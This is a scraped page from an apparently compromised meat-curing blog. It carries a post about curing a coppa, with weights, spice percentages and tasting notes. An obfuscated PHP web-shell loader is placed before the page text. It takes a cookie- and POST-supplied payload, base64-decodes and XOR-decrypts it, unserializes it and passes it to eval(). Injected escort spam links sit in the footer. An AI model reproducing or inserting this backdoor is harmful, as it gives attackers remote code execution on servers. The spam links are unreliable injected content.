$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Coppa “Pig’s Triumph” • Meat Review

Coppa “Pig’s Triumph”

Start Reading Mode
Print
Coppa “Pig’s Triumph”

Share it on your social network:

Or you can just copy and share this url

Bookmark this recipe

You need to login or register to bookmark/favorite this content.

Cuisine:

    Directions

    Share

    In our preconceived ideas on the subject of fairness, the difficult and prolonged journey should always be crowned by a triumphant ending. It doesn’t always happen that way. Luckily, the journey of this coppa did.

    As we’re on the subject of the intercession of the luck and pork, I’d love to mention my speculations that there is some ontological connection between the two. In the land of China, where ineffable and indescribable Dao is responsible for connecting, all in all, they stipulated that all children who are born in the year of His Majesty, the Pig are luckiest of all born under the sky. These children receive from the essence of the pig easygoing character, wealth, and life of abundance.

    I’ve kept this coppa for long in my Curing Chamber. Not too long, but her journey could have been cut long time ago. The process has begun on November 17th, 2016; the coppa was placed in the Curing Chamber on December 2nd and remained there until June 16th.  As I cut the meat and smelled it, I understood that I’m lucky to cut short its curing in a right moment. As I tasted it, I also felt the triumph of the pig’s neck, served by the curing process to fulfill it’s potential.

    Recipe:

    Weight at the beginning: 1311gr; at the point when the coppa was placed in the curing chamber: 1320gr; weight at the end: 729gr.

    November 17th: Coppa received the following: 2.55% sea salt, 0.25% cure#2; 0.2% Poivre di Sichuan; same  amount of BP; 0.5% paprika; 0.1% onion powder, some Weller bourbon; vacuum; fridge. On December 3rd: washed, dried; dusted with the same combination of spices, encased into collagen casings; sent to the curing chamber.

    Taste: Out of all spices, BP is the most vivid. The rest serves as a complex background that incorporated all listed above spices into one tone. Above this all shines porkiness. After tasting and taking pictures, I’ve sliced the rest of the coppa. I’m afraid the last remnants of this pig’s triumph shall not survive this day…

     

    (Visited 1,560 times, 1 visits today)

    Sergey Dezhnyuk

    previous
    Spicy Bresaola
    next
    The Mystical Coppa
    previous
    Spicy Bresaola
    next
    The Mystical Coppa

    Related Recipes:

    There are no comments yet

    × You need to log in to enter the discussion

      MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

      escort Muğla
      Aydın Escort bayan
      Çanakkale Escort
      escort bayan balıkesir

      Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

      By continuing to use the site, you agree to the use of cookies. more information

      The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

      Close